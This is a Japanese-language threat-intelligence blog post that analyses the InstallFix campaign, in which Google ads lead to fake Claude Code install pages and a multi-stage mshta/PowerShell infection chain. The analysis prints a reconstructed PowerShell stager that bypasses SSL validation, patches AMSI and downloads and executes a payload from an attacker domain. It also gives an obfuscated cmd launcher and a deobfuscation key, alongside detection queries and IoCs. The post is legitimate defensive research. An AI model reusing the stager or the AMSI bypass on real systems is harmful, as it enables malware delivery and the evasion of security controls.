サイバー脅威
InstallFixとClaude Code: 偽のインストールページが現実の侵害につながる仕組み
InstallFixキャンペーンは世界中の複数業種を標的としており、偽のClaude AIインストーラページを用いてユーザを騙し、システム情報の収集、セキュリティ機能の無効化、永続化、そして追加ペイロードを取得するために攻撃者の管理下にあるC&Cサーバへの接続を行うマルウェアを実行させます。
- InstallFixキャンペーンは、AnthropicのClaude AIを検索しているユーザを標的とするソーシャルエンジニアリング攻撃であり、Google広告経由で宣伝される偽のインストールページを通じてマルウェアを配布します。
- 攻撃者は、現実的でOS別のインストール手順を悪用してユーザに悪意あるPowerShellコマンドを実行させ、mshta.exe、難読化されたスクリプト、ファイルレスのペイロード配信を含む多段階の感染チェーンを開始します。
- 本キャンペーンの感染チェーンには、AMSIバイパス、SSL証明書検証の無効化、被害者ごとに異なるコマンド&コントロールURLなどの高度な回避手法が含まれており、検知と対処を困難にしています。
- TrendAI Vision One™のテレメトリにより、永続化のためのスケジュールタスク作成が確認され、攻撃者の管理下にあるC&Cサーバへのネットワーク通信が観測されました。
- 本キャンペーンは、米州、アジア太平洋・中東・アフリカ(AMEA)、欧州にまたがる組織を標的としており、政府、電子機器、教育、食品・飲料などの業種が含まれます。
人工知能ツールが現代のワークフローに不可欠となった時代において、攻撃者はこの依存関係を驚くべき巧妙さで悪用しています。InstallFixキャンペーン(別名「Fake Claude Installer」脅威)は、ソーシャルエンジニアリングにおける危険な進化を示すものであり、正規のAIプラットフォームに対する信頼を悪用して国家関与型のスパイマルウェアを配信します。本レポートでは、攻撃者がAnthropicのClaude AIアシスタントになりすまし、月間2億9000万人のユーザを擁するその知名度を利用して、入念に作り込まれた偽のインストールページを介してマルウェアを配布する手口を分析します。組織がAI機能の統合を急ぐなか、こうした欺瞞的な手口を理解することは、もはや任意の取り組みではなく、現在の脅威状況において生き残るために不可欠です。
現代のソフトウェアインストールでは、コマンドをコピーして実行する作業(例えば「curl-to-bash」)が頻繁に行われており、攻撃者はこの行動を悪用して、本物そっくりの偽インストールページを作成します。こうしたページはユーザを欺いて悪意あるコマンドを実行させ、マルウェア感染へとつなげます。
この脅威が特に重大なのは、コマンドラインツールの利用が拡大している開発者と非技術系ユーザの双方を標的としており、潜在的な被害者の母数を拡大させているためです。
標的プロファイル
以下の国・業種を対象とする攻撃を確認しました。
- 地域
- 米州
- アジア太平洋・中東・アフリカ(AMEA)
- 欧州
- 国
- マレーシア
- オランダ
- タイ
- 米国
- 業種
- 電子機器
- 教育
- 食品・飲料
- 政府
偽のインストールページはGoogle広告経由でのみ配布されており、具体的には「Claude Code」や「Claude Code install」などの語句をユーザが検索した際に表示されるスポンサー検索結果を通じて配布されます。あるMDRサービスの顧客からのフィードバックによると、ユーザは検索結果の最上部にあるスポンサーリンクをクリックして不正なランディングページにアクセスしており、Google広告で宣伝されていたためそのサイトを正規のものと判断したとのことです。
偽サイトには、PowerShellとMSHTAを利用してWindowsシステムおよびMacOSシステム上で偽のClaudeアプリケーションを実行・インストールする悪意あるコマンドが含まれています。ただし偽サイト上のボタンは機能していないようです。不正広告URLはGoogle広告のリンク構造を模倣するように設計されています。パラメータ gar_source と gad_campaign は、Google広告で一般的に使われている広告トラッキングフィールドに似せられています。
TrendAI Vision One™による証跡
TrendAI Vision One™のテレメトリによれば、エンドポイント上のPowerShellがmshta.exeを呼び出し、既知の悪意あるドメイン download-version1-5-8com から悪意あるペイロード(claudemsixbundle)をダウンロードして実行していました。
難読化解除後のPowerShellコードは、以下のコマンドを実行します。
- 被害マシンの一意なIDを生成 - 既に感染済みかどうかを確認するため
- SSL証明書検証を無効化 - 任意のHTTPS証明書を信頼するため
- 隠された文字列を復号/デコード - 追加で必要となる文字列
- .NET内部動作の改ざんを試行 - セキュリティバイパスと推定
- リモートサーバからペイロードをダウンロード - 別のペイロード
- メモリ上で実行 - 防御回避のため
- Mshtaが親プロセスの場合: mshta.exeが、cmd.exe、powershell.exe、wscript.exe、cscript.exe、sh.exe、bash.exe、reg.exe、regsvr32.exe、bitsadminのいずれかを生成
- Mshtaが子プロセスの場合: cmd.exe、powershell.exe、wscript.exe、cscript.exe、sh.exe、bash.exe、reg.exe、regsvr32.exe、bitsadminのいずれかがmshta.exeを生成
- ステージ1: 初期侵入 — Google広告による不正広告 (T1566.002 / T1583.008)
- 手法: Google広告のスポンサー結果を悪用したフィッシング (T1566.002)、不正広告 (T1583.008)
- 配信手段: 有料のGoogle検索枠を通じて配信される偽の「Claude Code」インストールページ
- おとり: OS別コマンドを掲載した本物そっくりのインストールページ。WindowsおよびmacOS版が存在
攻撃者はGoogle広告の枠を購入し、Claude Codeを検索しているユーザを誘導します。スポンサー結果は、正規のインストールガイドを装った偽のランディングページにつながります。ページはClickFixというソーシャルエンジニアリングのパターンを用いて、OS別のコマンドを提示し、それを必須のインストール手順であるかのように装ってユーザに実行させます。Windowsでは、このコマンドを実行するとブラウザまたはシェルがリモートのペイロードURLに対してmshta.exeを呼び出します。
- ステージ2: MSHTAがZIP/HTAポリグロットを取得・実行 (T1218.005)
- 手法: System Binary Proxy Execution: Mshta (T1218.005)
- ファイル: claude.msixbundle
- ホスト: download-version.1-5-8[.]com
- ファイル構造: バイトオフセット882290にHTAペイロードを追記した有効なZIPアーカイブ(ZIP/HTAポリグロット)
ClickFixのコマンドは、claude.msixbundleを指すリモートURLを引数としてmshta.exeを呼び出します。拡張子に反して、このファイルはZIP/HTAポリグロットです。アーカイブには有効なMicrosoft Marketplaceの署名を持つ実際のMicrosoft Bingパッケージが含まれており、正規ファイルらしい説得力のある外観を装っています。先頭の882290バイトは有効なZIPであり(VirusTotalは「PK」マジックバイトを持つアーカイブファイルとして識別します)、mshta.exeはファイル末尾に追記されたHTAコンテンツを読み取ります。この二重フォーマット構造により、ファイルは無害なパッケージとして通過しつつ、mshta.exeは追記された悪意あるHTAを直接実行できます。
Process chain observed in telemetry:
explorer.exe
powershell.exe (user ran ClickFix command from fake install page)
mshta.exe https://download-version.1-5-8[.]com/claude.msixbundle
- ステージ3: HTA内のVBScriptがサイレントに実行 - COMシェルランチャー (T1559.001 / T1059.005)
- 手法: Shell.ApplicationによるComponent Object Modelの悪用 (T1559.001)
- 手法: HTAに埋め込まれたVBScriptの実行 (T1059.005)
- 回避: ウィンドウサイズを0x0ピクセルにリサイズし、ユーザに対してUIを一切表示しない
- COMオブジェクト: Shell.Application | GUID: 9BA05972-F51F-4DE8-95A4-F561CC55EBC4
追記されたHTAは、mshta.exe内部でVBScriptをサイレントに実行します。スクリプトは、次のステージを起動する前にペイロードを難読化解除するため、命名された2つのデコード関数を使用します。
- DisplayEmailGnu() - HTAに埋め込まれた難読化文字列を16進デコードする関数
- GetBiosDebian() - cmd.exeコマンドをBase64デコードする関数
- Shell.Application COMオブジェクト (GUID: 9BA05972-F51F-4DE8-95A4-F561CC55EBC4) - ShellExecute経由でデコード後のコマンドを実行
HTAが起動するデコード後のコマンドは以下のとおりです。
cmd.exe /v:on /c "set x=pow&&set y=ershell&&call %windir%\\SysWOW64\\WindowsPowerShell\\v1.0\\!x!!y! -E "
DispHTMLWindow2.resizeTo(0,0) の呼び出しにより、MSHTAウィンドウは実行中ずっとユーザに見えない状態に保たれます。AMSIのテレメトリは、VBScriptがmshta.exeプロセスのコンテキスト内で実行されたことを確認し、デコード後のCOM呼び出しシーケンスを捕捉しました。
- ステージ4: cmd.exeがエンコード済みPowerShellステージャを再構築して実行 (T1027 / T1059.001)
- 手法: 難読化されたファイルや情報、変数分割 + エンコード済みコマンド (T1027)
- 手法: Command and Scripting Interpreter: SysWOW64経由のPowerShell (T1059.001)
- 手法: ツールの無効化または改変: WriteInt32経由でAMSIにパッチ (T1562)
cmd.exeは遅延変数展開 (/v:on) を有効にして実行され、変数分割の手口(set x=pow && set y=ershell)を用いて実行時に文字列「powershell」を再構築することで、静的なコマンドライン検出を回避します。続いて、UTF-16LEのBase64エンコード済みペイロードを-Eフラグで指定し、32ビット版のSysWOW64 PowerShellバイナリを呼び出します。
デコード後のPowerShellステージャは、以下の操作を順に実行します。
- 被害者のフィンガープリント: MD5(COMPUTERNAME + USERNAME)を計算し、先頭16文字の小文字16進数を被害者の一意なトークン ($nipple) として使用します
- SSLバイパス: \System.Net.ServicePointManager\ServerCertificateValidationCallback = {$true} を設定します
- AMSIバイパス: カスタムのGlobalJsonおよびTenantId暗号関数を用いて、キーBWJFEesMEqRvjQbmでAMSIバイパス文字列をRC4復号し、続いて\Runtime.InteropServices.Marshal\WriteInt32経由でamsiContextに0x41414141を書き込んで、セッション残り全体でAMSIを盲目化します
- ファイルレスペイロードの取得: 被害者ごとに固有のC&C URLからステージ4をダウンロードし、Invoke-Expression (IEX) 経由でメモリ上で実行します
# Decoded PowerShell stager logic (reconstructed from base64 telemetry)
# Step 1 Victim fingerprint
$nipple = (Get-FileHash -InputStream([IO.MemoryStream]::new(
[Text.Encoding]::UTF8.GetBytes($env:COMPUTERNAME + $env:USERNAME)
)) -Algorithm MD5).Hash.Substring(0,16).ToLower()
# Step 2 SSL bypass
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
# Step 3 AMSI patch (RC4 key: BWJFEesMEqRvjQbm)
# RC4 decrypts AMSI bypass strings -> writes 0x41414141 to amsiContext
[Runtime.InteropServices.Marshal]::WriteInt32(<amsiContext>, 0x41414141)
# Step 4 Fileless stage-4 fetch and execute
$Filter = (New-Object Net.WebClient).DownloadString(
"https://$nipple.oakenfjrod[.]ru/cloude-91267b64-989f-49b4-89b4-984e0154d4d1"
)
IEX $Filter
被害者ごとに固有のサブドメイン(マシンの識別情報から導出される16文字の16進数)により、各ホストが異なるURLに接続することになります。これによりネットワークレベルでの一括ブロックが困難になり、攻撃者が被害者ごとにペイロードをカスタマイズできる余地も生まれます。
- ステージ5: 最終ペイロードのファイルレス実行(未復元)
- 取得元: https://[nipple].oakenfjrod[.]ru/cloude-91267b64-989f-49b4-89b4-984e0154d4d1
- SHA1: 811fbf0ff6b6acabe4b545e493ec0dd0178a0302(ファイルはパスから復元、コンテンツの実行は未確認)
- SHA256: 2f04ba77bb841111036b979fc0dab7fcbae99749718ae1dd6fd348d4495b5f74
- 状態: 完全には未復元。TrendAI Apex One™がIEX完了前のステージ3でプロセスチェーンを終了させたため
脅威インテリジェンスによれば、本マルウェアはmp3など異なるファイル形式を悪用してセキュリティを回避します。
アーカイブファイルを確認したところ、ファイルには単一のアーカイブが含まれていることが判明しました。このアーカイブは通常のファイルを保持しているように見えます。
ファイルの内容は、通常のファイル構成要素から成っているように見えます。この段階では、抽出されたファイルに明らかに悪意あるものや異常なものは観測されず、標準的なアプリケーションに類似しています。
ZIPファイル内に埋め込まれたHTMLコードが確認されました。これは、HTMLが追加のペイロードやスクリプトのコンテナまたは配信手段として使用される、多段階の実行チェーンの一部である可能性を示唆しています。
ZIPファイル(Claude.msixbundle.zip)には、HTMLファイルを介して配信される、難読化されたVBScriptペイロードが埋め込まれていることが判明しました。スクリプトは意図的に難読化されているように見え、悪意ある意図を示すとともに、検知や解析の回避を目的として設計されている可能性があります。
変数 DisplayEmailGNU 配下の16進数値をCyberChefでデコード・再構築すると、当該コマンドがPowerShell実行コマンドであることが判明します。このアクティビティはVision Oneでも観測・捕捉されており、本ペイロードに関連する実行挙動が確認されました。
デコード後のPowerShellコマンドは、追加の難読化と実行を行うために別のファイルを呼び出します。
(https://$nipple\[.\]oakenfjrod\[.\]ru/cloude-91267b64-989f-49b4-89b4-984e0154d4d1)
- <nipple> - MD5ベースのマシンID
- oakenfjrod.ru - 攻撃者の管理下にあるドメイン
- /cloude-... - リモートペイロードのパス
以下の実行の4段階目では、さらにもう一段の難読化層が確認されました。
cloude-91267b64-989f-49b4-89b4-984e0154d4d1
これは、本ペイロードが複数段階のエンコードや隠蔽を用いて解析の妨害と検知回避を図っていることを示しています。
当該バイトを難読化解除するには、XOR関数で使用するキーが必要であり、それは $ISLuq0izl8 に格納されます。
キーを生成するため、すべての文字を連結し、結果が $ISLuq0izl8 に格納されます。
難読化解除プロセスの一環として、後続の復号に必要なキーを得るため、最初の文字がデコードされました。この手順は、難読化された形式からペイロード全体を再構築するために用いられる根底のロジックの一例です。
XORキーを取得するロジック
数値を組み合わせて変数を消去します。
24 + 48 = 72
39 − 39 = 0
49 + 38 = 87
次に:
72 − C − K − 87 + C + K + 80
打ち消し:
−C + C = 0
−K + K = 0
残り:
72 − 87 + 80 = 65 → "A"
From Decimal 65 = A
このロジックに基づくと、以下の位置にある最初の文字の結果は
$euZ1AMZyMcJWItteQdCD is "A"
$ISLuq0izl8 に連結されるすべての変数をデコード・解決すると、難読化プロセスで使用されているXORキーは以下であることが判明します。
AMSI\_RESULT\_NOT\_DETECTED - UTF8
これは、スクリプトが既知のAMSI関連文字列を難読化解除または回避手法の一部として利用していることを示しています。
XORキーが入手できたため、エンコードされたバイトを難読化解除し、ペイロードのさらなる解析へと進めます。
復号ルーチンに基づくと、データはまず10進およびBase64形式から変換された後、以下のキーを用いてXOR復号されます。
“AMSI\_RESULT\_NOT\_DETECTED”
このプロセスを経ると、出力結果はメモリ上での実行を目的としたシェルコードに解決されます。
外向き接続は 10421095 および 185177239255 です。感染ホスト上でTCP送信およびTCP受信のアクティビティが観測されました。これは、マルウェアが活発にネットワーク接続を確立し、外部システムとデータをやり取りしていることを示しています。こうしたアクティビティは、コマンド&コントロールサーバとの通信、データの持ち出し、または他の悪意あるインフラとの連携の可能性を示唆します。
ペイロードを繰り返し実行する間、複数の外向き接続が観測されました。本分析ではペイロードを3回実行し、それぞれの実行で異なる外向きネットワーク接続が発生しました。
キャプチャされたパケットはすべて、ポート443(HTTPS)を介した 779197244 へのTCP SYN要求で構成されています。TCP再送が複数発生していることから、宛先サーバからSYN-ACK応答が一切返ってきていないことが分かります。これは接続試行が失敗していることを示しており、宛先IPアドレスは到達不能であり、オフラインであるか応答していない状態である可能性があります。
特定された侵入の痕跡(IoC)はRedLine stealerに関連しており、その2023年のキャンペーンで観測されたものに類似した手法を示しています。
結論
InstallFixキャンペーンは、サイバー犯罪者がAIツールの人気を悪用し、標的型かつ大きな影響をもたらすマルウェア攻撃を仕掛けている実態を明らかにしています。悪意あるインストーラを正規のClaude AIダウンロードに見せかけ、Google広告を配布手段として用いることで、攻撃者はユーザの警戒心とマシンのセキュリティ管理の両方を迂回します。本マルウェアはAMSIバイパス、SSL証明書検証の無効化、永続化のためのスケジュールタスク作成といった手法を用いることで、検知を回避し、感染システムへのアクセスを維持できます。組織はこうした脅威に対して油断せず、ユーザにインストールに伴うリスクを周知し、不審なプロセスやネットワークアクティビティを監視し、多層防御を優先する必要があります。
推奨事項
InstallFixのようなキャンペーンがもたらすリスクを低減するために、組織はプロアクティブなセキュリティ対策を採用し、ユーザ教育に注力する必要があります。以下のベストプラクティスは、マルウェア感染の防止、不審な活動の検知、欺瞞的なインストーラ脅威に対する防御の強化を支援するために設計されています。
- ネットワーク保護
- 本キャンペーンに関連する既知の悪意あるドメインおよびIPアドレスへのアクセスを、ファイアウォールまたはセキュリティゲートウェイでブロックします。
- DNSフィルタリングまたはセキュアWebゲートウェイを利用して、不審なドメインや新規登録ドメインへのユーザのアクセスを防止します。
- エンドポイントセキュリティ
- mshta.exeのようなレガシーなスクリプトツールは攻撃者によく悪用されるため、絶対に必要な場合を除き、利用を制限またはブロックします。
- TrendAIのエンドポイント保護ソリューションが、不審な挙動に対して警告だけでなく自動的にブロックまたは終了するよう設定されていることを確認します。
- ユーザの意識向上
- 見覚えのないサイト、特にスポンサー検索結果から到達したサイトのインストールコマンドをコピーして実行しないよう、ユーザを教育します。
- 何かをインストールする前に、ソフトウェアのダウンロードページが公式ベンダーのサイトと一致しているかを必ず確認するようユーザに促します。
- サードパーティサイトの手動インストールスクリプトではなく、信頼できるパッケージマネージャ(npm、pip、brew、wingetなど)の利用を推奨します。
- 検知と対応
- 最新の脅威インテリジェンスを常に把握し、進行中のキャンペーンに関連する検知ルールや侵入の痕跡(IoC)を適用します。
TrendAI Vision One™によるプロアクティブセキュリティ
TrendAI Vision One™プラットフォームは、サイバーリスクエクスポージャ管理、セキュリティ運用、堅牢な多層防御を統合する、業界をリードするAIサイバーセキュリティプラットフォームです。
TrendAI Vision One™ Threat Intelligence Hub
TrendAI Vision One™ Threat Intelligence Hubは、新たな脅威および攻撃者に関する最新の知見、TrendAI™ Researchによる限定の戦略レポート、そしてTrendAI Vision One™プラットフォーム内のTrendAI Vision One™ Threat Intelligence Feedを提供します。
新たな脅威: InstallFix and Claude Code: How Fake Install Pages Lead to Real Compromise
TrendAI Vision One™ Intelligence Reports (IOC Sweeping)
InstallFix and Claude Code: How Fake Install Pages Lead to Real Compromise
TrendAI Vision One™をご利用のお客様は、Search Appを使用することで、本ブログ記事に記載された悪意ある侵入の痕跡をご自身の環境のデータと照合・ハントすることができます。
ハンティングクエリ
TrendAI Vision One™ Search App
TrendAI Vision One™をご利用のお客様は、Search Appを使用することで、本ブログ記事に記載された悪意ある侵入の痕跡をご自身の環境のデータと照合・ハントすることができます。
キルチェーン全体の相関
// Vision One XDR Search — pivot from mshta to PS to C2 on one endpoint
// Step 1: find hosts where mshta ran with malicious URL args
eventSubId:TELEMETRY_PROCESS_CREATE
AND processName:mshta.exe
AND (processCmd:*1-5-8[.]com* OR processCmd:*msixbundle*
OR processCmd:*get-version[.]com*)
// Step 2: pivot on endpointHostname from above — find PS child and C2 beacon
endpointHostName:<HOSTNAME_FROM_STEP1>
AND (
(eventSubId:TELEMETRY_PROCESS_CREATE
AND processName:powershell.exe
AND (processCmd:*-enc* OR processCmd:*IEX*))
OR
(eventSubId:TELEMETRY_NETWORK
AND request:*oakenfjrod[.]ru*)
)
mshta.exeによるシェルの生成(Vision One XDR Search)
eventSubId:TELEMETRY_PROCESS_CREATE
AND parentProcessName:mshta.exe
AND (processName:cmd.exe OR processName:powershell.exe
OR processName:wscript.exe OR processName:cscript.exe)
コマンドラインのエンコード済みPowerShell / IEX
eventSubId:TELEMETRY_PROCESS_CREATE
AND processName:powershell.exe
AND (processCmd:*-enc* OR processCmd:*-EncodedCommand*
OR processCmd:*IEX* OR processCmd:*Invoke-Expression*
OR processCmd:*AMSI_RESULT_NOT_DETECTED*)
Threat Intelligence Hubのエンタイトルメントを有効化したTrendAI Vision One™では、さらに多くのハンティングクエリをご利用いただけます。
侵入の痕跡(IoC: Indicators Of Compromise)
本記事に関する侵入の痕跡はこちらからご確認いただけます。
参考記事
InstallFix and Claude Code: How Fake Install Pages Lead to Real Compromise
By Allixon Kristoffer Francisco, Gabriel Nicoleta, Jonna Santos, Mohamed Fahmy
翻訳:与那城 務(Platform Marketing, Trend Micro™ Research)